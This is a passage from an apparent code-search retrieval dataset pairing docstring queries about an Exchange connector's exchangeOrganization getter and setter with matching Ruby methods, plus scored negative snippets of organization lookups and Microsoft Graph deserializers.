"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def object_type=(object_type)\n validator = EnumAttributeValidator.new('String', [\"kubernetes.SysConfigPolicy\"])\n unless validator.valid?(object_type)\n fail ArgumentError, \"invalid value for \\\"object_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @object_type = object_type\n end",
"def set_type_partner\n @type_partner = TypePartner.find(params[:id])\n end",
"def set_type(v)\n self.type = v\n self\n end"
] |
[
"0.74037313",
"0.70049137",
"0.62015235",
"0.5874123",
"0.5845511",
"0.582366",
"0.58053786",
"0.5801325",
"0.55816746",
"0.5580266",
"0.5562782",
"0.5562782",
"0.5452468",
"0.5444126",
"0.5427084",
"0.5415194",
"0.5402355",
"0.53673023",
"0.5359269",
"0.53424",
"0.5217491",
"0.52162087",
"0.52118355",
"0.52100235",
"0.52056587",
"0.5174192",
"0.5170337",
"0.5159966",
"0.5155385",
"0.51493305",
"0.51457685",
"0.5121427",
"0.5117776",
"0.51047903",
"0.5093485",
"0.5091531",
"0.5085475",
"0.50463974",
"0.50463974",
"0.50463974",
"0.50463974",
"0.50463974",
"0.50463974",
"0.50463974",
"0.50411105",
"0.5037216",
"0.50363946",
"0.5016245",
"0.5015058",
"0.49794883",
"0.49626282",
"0.49624726",
"0.49509457",
"0.4928308",
"0.4923358",
"0.492053",
"0.4913257",
"0.49070632",
"0.48924017",
"0.4883765",
"0.48804912",
"0.48735276",
"0.48696333",
"0.48590735",
"0.48458052",
"0.48106125",
"0.479336",
"0.47874478",
"0.4780906",
"0.47774923",
"0.47760603",
"0.4760667",
"0.47565198",
"0.4749951",
"0.4749951",
"0.474153",
"0.474153",
"0.474153",
"0.47352427",
"0.4734506",
"0.47132328",
"0.47132328",
"0.46925575",
"0.468765",
"0.46687397",
"0.4667755",
"0.46527556",
"0.46505624",
"0.46415904",
"0.4640532",
"0.4638322",
"0.46360105",
"0.4633303",
"0.46312812",
"0.46249098",
"0.46208754",
"0.46208754",
"0.46177578",
"0.46090925",
"0.46079496"
] |
0.8736384
|
0
|
Gets the exchangeOrganization property value. Exchange Organization to the Exchange server
|
def exchange_organization
return @exchange_organization
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def exchange_organization=(value)\n @exchange_organization = value\n end",
"def organization\n self[:O]\n end",
"def organization\n return @organization if @organization\n @organization = Organization.find(organization_id)\n end",
"def organization\n if solo_run?\n # configurable fake organization name for chef-solo users\n Chef::Config[:data_collector][:organization]\n else\n Chef::Config[:chef_server_url].match(%r{/+organizations/+([^\\s/]+)}).nil? ? \"unknown_organization\" : $1\n end\n end",
"def organization\n _get(\"/account/organization\") { |json| json }\n end",
"def organization_id\n self.organization.id if self.organization && self.organization.is_a?(Organization)\n end",
"def organization\n if documentable.respond_to? :organization\n documentable.organization\n else\n creator.organization\n end\n end",
"def org_name\n (org = self.organization) && org.name\n end",
"def getorganizationname()\r\n return getvalue(SVTags::ORGANIZATION_NAME)\r\n end",
"def Organization()\r\n ret = _getproperty(1610743808, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def get_organization\n return \"NSBE\" if affiliation == 1\n \"SHPE\"\n end",
"def account_organization\n get('account/organization')\n end",
"def org\n client.org(org_id)\n end",
"def org\n client.org(org_id)\n end",
"def email_domain\n self.organization.email_domain\n end",
"def organization\n capital_project.organization\n end",
"def organization\n self.data_response.organization\n end",
"def current_organization\n fog_model_interface.current_organization\n end",
"def org_id\n @org_id ||= query_org_id # lazy query org_id when not set by login response\n end",
"def retrieve_organization(name = nil)\n name ||= organization_name\n org = Organization.find_by(name: name)\n halt_with_json_response(404, INVALID_ORG, 'organization does not exist') \\\n if org.nil?\n return org\n end",
"def current_organization\n Organization.find(params[:organization_id])\n end",
"def organizational_unit\n self[:OU]\n end",
"def organization\n @organization ||= Github::Organization.new(client, @options[:owner])\n end",
"def set_organization\n @organization = ::Organization.find(params[:id])\n end",
"def organization?\n return false if type.nil?\n \"organization\".casecmp(type).zero?\n end",
"def org_name\n self.org.try(:name).to_s\n end",
"def enterprise_domain\n return @enterprise_domain\n end",
"def organization=(input)\n case input\n when Organization\n @organization = input\n when Hash\n @organization = Organization.new(input)\n end\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Spree::Organization.find(params[:id])\n end",
"def set_organization\n if params[:organization_id]\n @organization = policy_scope(Organization).find(params[:organization_id])\n elsif params[:conversation] && params[:conversation][:organization_id]\n @organization = policy_scope(Organization).find(params[:conversation][:organization_id])\n end\n end",
"def set_organization\n @organization = Organization.custom_find(params[:id])\n end",
"def org\n object.user.org&.handle\n end",
"def organisation_name_fetch\n @organisation.try(:organisation_name)\n end",
"def organisation_name\n return if partnership?\n\n organisation.name\n end",
"def org_name\n raw_info['org_name']\n end",
"def org_type\n\t\torg_type = organisation.organisation_type.name\n\t\treturn org_type\n\tend",
"def org\n self.host.org\n end",
"def current_org\n current_user&.org\n end",
"def organization_name(org)\n Hardmode.get(\"/orgs/#{org}\", :headers => @auth)\n end",
"def set_organization\n @organization = Organization.find(params[:name])\n end",
"def org_id\n query('select id from Organization').first['Id']\n end",
"def set_organization\n @organization = authed_user.organizations.find_by_permalink(params[:organization_id])\n raise ActiveRecord::RecordNotFound unless @organization\n end",
"def set_organization\n @organization = authed_user.organizations.find_by_permalink(params[:organization_id])\n raise ActiveRecord::RecordNotFound unless @organization\n end",
"def set_organization\n # @org = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.friendly.find(params[:id])\n end",
"def set_organization\n @organization = Organization.friendly.find(params[:id])\n end",
"def organization\n id = if params[:organization_id]\n params[:organization_id]\n elsif params.dig(:q, :parent_id_eq)\n params[:q][:parent_id_eq]\n elsif params.dig(model.name.underscore.to_sym, :organization_id)\n params[model.name.underscore.to_sym][:organization_id]\n end\n Organization.where(id: id).first || @record&.organization || OpenStruct.new(id: nil)\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def organisation_details\n return blank_value unless organisation\n\n organisation.partnership? ? partner_names : organisation.name\n end",
"def org\n @org_resource ||= Org.new(@client)\n end",
"def parent\n raise \"undefined parent Organization\" unless organization?\n organization\n end",
"def org_endpoint(session)\n \"#{FABRIC_ORGANIZATIONS_ENDPOINT}/#{session.organization_id}\"\n end",
"def org_node\n @org_node ||= UCB::LDAP::Org.find_by_ou(deptid)\n end",
"def organization\n matches = SlashDeploy::GITHUB_REPO_REGEX.match(name)\n matches[1]\n end",
"def requestor; organization; end",
"def org_address\n company&.company_address\n end",
"def set_organization\n if current_user.is_admin?\n @organization = Organization.where(id: params[:id]).first\n else\n @organization = current_user.organizations.where(id: params[:id]).first\n end\n \n end",
"def associated_organization\n user_sports.first.user.organization \n end",
"def organization_url\n \"#{organization_base_url}.#{request_format}\"\n end",
"def org_name\n test_org.name\n end",
"def current_organisation()\n begin\n organisation = (\n Thread.current[:organisation_id].blank? ?\n nil :\n Organisation.find( Thread.current[:organisation_id] )\n )\n\n return organisation\n\n rescue ActiveRecord::RecordNotFound\n return nil\n end \n end",
"def org_endpoint(organization_id)\n \"#{FABRIC_ORGANIZATIONS_ENDPOINT}/#{organization_id}\"\n end",
"def organization()\n return MicrosoftGraph::Organization::OrganizationRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def set_organization\n\t @organization = Organization.find(params[:id])\n\tend",
"def organization\n PDEX::OrganizationFactory.new(nppes_data, pharmacy:true).build\n end",
"def org_name\n @org_name ||= opts[:org]&.resource&.name\n end",
"def managed_organizations\n if has_role?(:org_admin)\n org_ids = roles.where(name: Role::NAMES[:org_admin]).first.ref_ids\n Organization.in(id: org_ids)\n else\n []\n end\n end",
"def set_organization_connection\n @organization_connection = OrganizationConnection.find(params[:id])\n end",
"def organization_payload(organization)\n {\n type: 'organization',\n name: organization.name,\n description: organization.description\n }\n end",
"def publisher_domain\n return @publisher_domain\n end",
"def organizations\n self.organization_ids.map do |uid|\n MnoEnterprise::Organization.find_by(uid: uid)\n end\n end",
"def show\n @organization = current_user.organization\n end",
"def organization_by_name(name)\n @organizations[name]\n end",
"def organization_names\n organizations.pluck(:name).join(', ')\n end",
"def organization_names\n organizations.pluck(:name).join(', ')\n end",
"def set_organization\n @organization = current_user.organizations.where(id: params[:id]).first\n end",
"def set_organization\n @signed_in = admin_signed_in?\n @organization = Organization.find(params[:id])\n end",
"def organization\n id = Location.where(id: self.id).joins(:visits).select([:organization_id])\n Organization.where(id: id).select([:name]).first\n end",
"def organization\n records do |instance|\n instance['organization'] = organizations.where('_id': instance['organization_id']).last\n end\n end",
"def set_organization_id\n self.organization_id = self.user.organization_id\n end"
] |
[
"0.81190896",
"0.72671247",
"0.6933954",
"0.67686355",
"0.67095554",
"0.66691536",
"0.6637062",
"0.65152365",
"0.6490958",
"0.64788795",
"0.6449912",
"0.64390206",
"0.6357968",
"0.6357968",
"0.6341796",
"0.6329135",
"0.6327179",
"0.6258358",
"0.6149914",
"0.6028272",
"0.5996192",
"0.59936845",
"0.59918606",
"0.5967896",
"0.5962467",
"0.5944606",
"0.5941503",
"0.5917492",
"0.58861846",
"0.5871093",
"0.5859366",
"0.5852578",
"0.58499455",
"0.5837931",
"0.5836375",
"0.58275455",
"0.5813866",
"0.5807143",
"0.57777154",
"0.5758573",
"0.575742",
"0.57468295",
"0.5702945",
"0.5702945",
"0.570068",
"0.5693413",
"0.5693413",
"0.5689741",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.5682131",
"0.56805146",
"0.56732494",
"0.56535125",
"0.5653094",
"0.5652545",
"0.5642933",
"0.563861",
"0.5625369",
"0.5621157",
"0.5597855",
"0.5582938",
"0.5578215",
"0.55772763",
"0.5572964",
"0.5563282",
"0.5541016",
"0.55408335",
"0.55226725",
"0.55192345",
"0.55138505",
"0.5511603",
"0.55078757",
"0.55029464",
"0.5485927",
"0.5475006",
"0.54687804",
"0.54687804",
"0.54681665",
"0.5467827",
"0.5448765",
"0.54380083",
"0.5430385"
] |
0.85223866
|
0
|
Sets the exchangeOrganization property value. Exchange Organization to the Exchange server
|
def exchange_organization=(value)
@exchange_organization = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_organization\n @organization = ::Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Spree::Organization.find(params[:id])\n end",
"def set_organization\n # @org = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:name])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n if current_user\n current_organization = Organization.find(current_user.organization_id)\n set_current_tenant(current_organization)\n end\n end",
"def set_organization\n @organization = Organization.custom_find(params[:id])\n end",
"def set_organization_id\n self.organization_id = self.user.organization_id\n end",
"def set_organization\n if params[:organization_id]\n @organization = policy_scope(Organization).find(params[:organization_id])\n elsif params[:conversation] && params[:conversation][:organization_id]\n @organization = policy_scope(Organization).find(params[:conversation][:organization_id])\n end\n end",
"def set_organization\n\t @organization = Organization.find(params[:id])\n\tend",
"def set_organization\n @organization = Organization.friendly.find(params[:id])\n end",
"def set_organization\n @organization = Organization.friendly.find(params[:id])\n end",
"def exchange_organization\n return @exchange_organization\n end",
"def set_organization\n @organization = authed_user.organizations.find_by_permalink(params[:organization_id])\n raise ActiveRecord::RecordNotFound unless @organization\n end",
"def set_organization\n @organization = authed_user.organizations.find_by_permalink(params[:organization_id])\n raise ActiveRecord::RecordNotFound unless @organization\n end",
"def organization=(input)\n case input\n when Organization\n @organization = input\n when Hash\n @organization = Organization.new(input)\n end\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n if !current_user.soadmin && current_user.organization != @organization\n redirect_to current_user.organization\n end\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @organization = Organization.find(params[:id])\n end",
"def set_organization\n @signed_in = admin_signed_in?\n @organization = Organization.find(params[:id])\n end",
"def set_organization_connection\n @organization_connection = OrganizationConnection.find(params[:id])\n end",
"def set_organization\n @organization = Organization.with_deleted.find(params[:id])\n end",
"def set_organization\n begin\n @organization = Organization.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render json: { status: 'error', errors: [\"Organization not found\"] },\n status: :not_found\n end\n end",
"def set_user_organization\n @user_organization = UserOrganization.find(params[:id])\n end",
"def set_user_organization\n @user_organization = UserOrganization.find(params[:id])\n end",
"def set_organization\n if current_user.is_admin?\n @organization = Organization.where(id: params[:id]).first\n else\n @organization = current_user.organizations.where(id: params[:id]).first\n end\n \n end",
"def set_people_organization\n @people_organization = PeopleOrganization.find(params[:id])\n end",
"def organization_id=(id)\n self.organization = Organization.find_by_id(id.to_i)\n end",
"def set_organization_user\n @organization_user = OrganizationUser.find(params[:id])\n end",
"def set_organisation\n raise \"You must set the organisation\" if session[:organisation].blank?\n OrganisationSession.set session[:organisation]\n end",
"def setorganizationname(value)\r\n setvalue(SVTags::ORGANIZATION_NAME, value)\r\n end",
"def set_org\n @org = Organization.find(params[:id])\n end",
"def set_organization\n @organization = current_user.organizations.where(id: params[:id]).first\n end",
"def set_group_organization\n @group_organization = GroupOrganization.find(params[:id])\n end",
"def organization_name=(organization_name)\n validator = EnumAttributeValidator.new('Object', ['Army', 'Navy', 'Air Force', 'Marines', 'DoD', 'Defense Information Systems Agency'])\n unless validator.valid?(organization_name)\n fail ArgumentError, \"invalid value for \\\"organization_name\\\", must be one of #{validator.allowable_values}.\"\n end\n @organization_name = organization_name\n end",
"def set_organization_unit\n @organization_unit =Core::OrganizationUnit.find(params[:id])\n end",
"def organization\n return @organization if @organization\n @organization = Organization.find(organization_id)\n end",
"def set_organisation\n @organisation = Organisation.find(params[:organisation_id]) if params[:organisation_id]\n end",
"def set_partnering_organization\n @partnering_organization = PartneringOrganization.find(params[:id])\n end",
"def set_partnering_organization\n @partnering_organization = PartneringOrganization.find(params[:id])\n end",
"def set_organization_id_on_employee(employee = resource)\n employee.organization_id ||= current_organization.id\n end",
"def set_org\n @org_id = request.headers[\"X-WWW-ORG-ID\"]\n end",
"def set_organization\n\n\torganization = Organization.find_by_short_description(self.short_description)\n\t if organization != nil \n\t\t self.organization = organization\n\t\t return true\n\t else\n\t\terrors.add_to_base(\"combination of: 'short_description' is invalid- it must be unique\")\n\t\t return false\n\tend\nend",
"def set_clients_organization\n @clients_organization = ClientsOrganization.find(params[:id])\n end",
"def set_org\n @org = Org.find_by_permalink(params[:org_id])\n raise ActiveRecord::RecordNotFound unless @org\n end",
"def set_org\n @org = Org.find_by_permalink(params[:org_id])\n raise ActiveRecord::RecordNotFound unless @org\n end",
"def set_org\n @org = Org.find_by_permalink(params[:org_id])\n raise ActiveRecord::RecordNotFound unless @org\n end",
"def set_org\n @org = Org.find_by_permalink(params[:org_id])\n raise ActiveRecord::RecordNotFound unless @org\n end",
"def fill_organization\n if @param_storage.organization_id == nil\n organizations = @organization_service.all\n @param_storage.store_organization_id(organizations[0].id) if organizations.count == 1\n end\n end",
"def set_organization_profile\n @organization_profile = OrganizationProfile.find(params[:id])\n end",
"def organisation=(new_org)\n org_id = new_org.id unless new_org.nil?\n end",
"def set_admins_organization\n @admins_organization = Organization.find(params[:id])\n end",
"def ensure_organization\n if self.item.is_a?(Organization)\n self.organization = self.item\n else\n self.organization = self.item.organization unless self.item.try(:organization).nil?\n end\n #self.organization_id = self.organization.id unless self.organization.try(:id).nil?\n end",
"def org_address=(address)\n company.from_address!(address)\n end",
"def set_organisation\n @organisation = Organisation.find(params[:id])\n end",
"def set_organisation\n @organisation = Organisation.find(params[:id])\n end",
"def set_organisation\n @organisation = Organisation.find(params[:id])\n end",
"def organization\n _get(\"/account/organization\") { |json| json }\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @organization.update_attributes(params[:organization])\n\t\t\t\tformat.html { redirect_to(@organization, :notice => 'Organization was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def set_organization_charge\n @organization_charge = OrganizationCharge.find(params[:id])\n end",
"def UpdateOrganization params = {}\n \n APICall(path: 'organizations.json',method: 'PUT',payload: params.to_json)\n \n end",
"def edit_organization(org, options={})\n patch \"/orgs/#{org}\", :body => options\n end",
"def set_org\n @org = Org.find_by_permalink(params[:id])\n raise ActiveRecord::RecordNotFound unless @org\n end",
"def organization\n self[:O]\n end",
"def adopt_organization\n if external_id? && organization.blank?\n self.organization = Organization.where { |o| o.id.in(\n Registration.unscoped.where( :external_id => external_id ).\n select { organization_id } ) }.first\n end\n true\n end",
"def set_host_org\n @host_org = HostOrg.find(params[:id])\n end",
"def organization_id\n self.organization.id if self.organization && self.organization.is_a?(Organization)\n end",
"def update\n if @organization.update(organization_params)\n render :show, status: :ok, location: @organization\n else\n render json: @organization.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @organization.update_attributes(params[:organization])\n format.html { redirect_to admin_organization_path, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to admin_organization_path, notice: 'Organization could not be updated.' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_organisation\n @organisation = Organisation.find(params[:id])\n end",
"def organization\n if solo_run?\n # configurable fake organization name for chef-solo users\n Chef::Config[:data_collector][:organization]\n else\n Chef::Config[:chef_server_url].match(%r{/+organizations/+([^\\s/]+)}).nil? ? \"unknown_organization\" : $1\n end\n end",
"def set_org\n @org = Org.find_by_permalink(params[:org_id])\n raise ActiveRecord::RecordNotFound unless @org\n end",
"def set_organization\n @organization = Organization.includes(:notes=>[:user]).friendly.find(params[:id])\n end",
"def org\n client.org(org_id)\n end",
"def org\n client.org(org_id)\n end",
"def update_organization\n @attributes = organization_params[:organization]\n @attributes.delete(:id)\n #detects if incoming name/abbreviation is different from the old name/abbreviation\n name_change = @attributes[:name] != @organization.name || @attributes[:abbreviation] != @organization.abbreviation\n\n if @organization.update_attributes(@attributes)\n @organization.update_ssr_org_name if (@organization.type != \"Institution\" && name_change)\n update_services\n true\n else\n false\n end\n end",
"def set_organization_shebao\n @organization_shebao = @model_class.find(params[:id])\n end",
"def organization\n @organization ||= Github::Organization.new(client, @options[:owner])\n end"
] |
[
"0.73825693",
"0.730599",
"0.7262671",
"0.7211844",
"0.71640366",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7126598",
"0.7058472",
"0.705274",
"0.70113146",
"0.69917357",
"0.69606745",
"0.68913686",
"0.68913686",
"0.6808837",
"0.67915",
"0.67915",
"0.6776037",
"0.67483115",
"0.6745165",
"0.6745165",
"0.6745165",
"0.6745165",
"0.6684196",
"0.66633373",
"0.6616661",
"0.6608668",
"0.66059256",
"0.66059256",
"0.6585683",
"0.6536262",
"0.6451124",
"0.6444518",
"0.6356467",
"0.6337288",
"0.6320789",
"0.6287062",
"0.62592846",
"0.6225148",
"0.62028545",
"0.61311364",
"0.61233926",
"0.61174875",
"0.61174875",
"0.6085944",
"0.6030103",
"0.6025091",
"0.6007869",
"0.59625643",
"0.59625643",
"0.59625643",
"0.59625643",
"0.59466803",
"0.59201324",
"0.59107137",
"0.59028786",
"0.5890295",
"0.5885076",
"0.5866535",
"0.5866535",
"0.5866535",
"0.584521",
"0.5785572",
"0.5754725",
"0.57346433",
"0.56929773",
"0.568036",
"0.56709415",
"0.563444",
"0.56018215",
"0.55999666",
"0.5587229",
"0.5567708",
"0.55606717",
"0.5553115",
"0.55498654",
"0.5496625",
"0.5480911",
"0.5480911",
"0.54669726",
"0.54663855",
"0.5456702"
] |
0.8676123
|
0
|
The deserialization information for the current model
|
def get_field_deserializers()
return super.merge({
"connectorServerName" => lambda {|n| @connector_server_name = n.get_string_value() },
"exchangeAlias" => lambda {|n| @exchange_alias = n.get_string_value() },
"exchangeConnectorType" => lambda {|n| @exchange_connector_type = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorType) },
"exchangeOrganization" => lambda {|n| @exchange_organization = n.get_string_value() },
"lastSyncDateTime" => lambda {|n| @last_sync_date_time = n.get_date_time_value() },
"primarySmtpAddress" => lambda {|n| @primary_smtp_address = n.get_string_value() },
"serverName" => lambda {|n| @server_name = n.get_string_value() },
"status" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorStatus) },
"version" => lambda {|n| @version = n.get_string_value() },
})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deserialized\n @deserialized ||= @serializer.deserialize @serialized_object\n end",
"def get_field_deserializers()\n return super.merge({\n \"detectionStatus\" => lambda {|n| @detection_status = n.get_enum_value(MicrosoftGraph::Models::SecurityDetectionStatus) },\n \"fileDetails\" => lambda {|n| @file_details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFileDetails.create_from_discriminator_value(pn) }) },\n \"mdeDeviceId\" => lambda {|n| @mde_device_id = n.get_string_value() },\n })\n end",
"def serialized_attributes\n read_inheritable_attribute(\"attr_serialized\") || { }\n end",
"def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"file\" => lambda {|n| @file = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"fileHash\" => lambda {|n| @file_hash = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"committedContentVersion\" => lambda {|n| @committed_content_version = n.get_string_value() },\n \"contentVersions\" => lambda {|n| @content_versions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::MobileAppContent.create_from_discriminator_value(pn) }) },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n \"size\" => lambda {|n| @size = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return {\n \"attribution\" => lambda {|n| @attribution = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ImageInfo.create_from_discriminator_value(pn) }) },\n \"backgroundColor\" => lambda {|n| @background_color = n.get_string_value() },\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayText\" => lambda {|n| @display_text = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"detectionType\" => lambda {|n| @detection_type = n.get_string_value() },\n \"method\" => lambda {|n| @method = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"resource\" => lambda {|n| @resource = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Entity.create_from_discriminator_value(pn) }) },\n \"resourceReference\" => lambda {|n| @resource_reference = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceReference.create_from_discriminator_value(pn) }) },\n \"resourceVisualization\" => lambda {|n| @resource_visualization = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceVisualization.create_from_discriminator_value(pn) }) },\n \"weight\" => lambda {|n| @weight = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return {\n \"isEnabled\" => lambda {|n| @is_enabled = n.get_boolean_value() },\n \"maxImageSize\" => lambda {|n| @max_image_size = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"timeout\" => lambda {|n| @timeout = n.get_duration_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"contentData\" => lambda {|n| @content_data = n.get_string_value() },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"applicationVersion\" => lambda {|n| @application_version = n.get_string_value() },\n \"headerValue\" => lambda {|n| @header_value = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"callEndSubReason\" => lambda {|n| @call_end_sub_reason = n.get_number_value() },\n \"callType\" => lambda {|n| @call_type = n.get_string_value() },\n \"calleeNumber\" => lambda {|n| @callee_number = n.get_string_value() },\n \"callerNumber\" => lambda {|n| @caller_number = n.get_string_value() },\n \"correlationId\" => lambda {|n| @correlation_id = n.get_string_value() },\n \"duration\" => lambda {|n| @duration = n.get_number_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"failureDateTime\" => lambda {|n| @failure_date_time = n.get_date_time_value() },\n \"finalSipCode\" => lambda {|n| @final_sip_code = n.get_number_value() },\n \"finalSipCodePhrase\" => lambda {|n| @final_sip_code_phrase = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"inviteDateTime\" => lambda {|n| @invite_date_time = n.get_date_time_value() },\n \"mediaBypassEnabled\" => lambda {|n| @media_bypass_enabled = n.get_boolean_value() },\n \"mediaPathLocation\" => lambda {|n| @media_path_location = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"signalingLocation\" => lambda {|n| @signaling_location = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"successfulCall\" => lambda {|n| @successful_call = n.get_boolean_value() },\n \"trunkFullyQualifiedDomainName\" => lambda {|n| @trunk_fully_qualified_domain_name = n.get_string_value() },\n \"userDisplayName\" => lambda {|n| @user_display_name = n.get_string_value() },\n \"userId\" => lambda {|n| @user_id = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n }\n end",
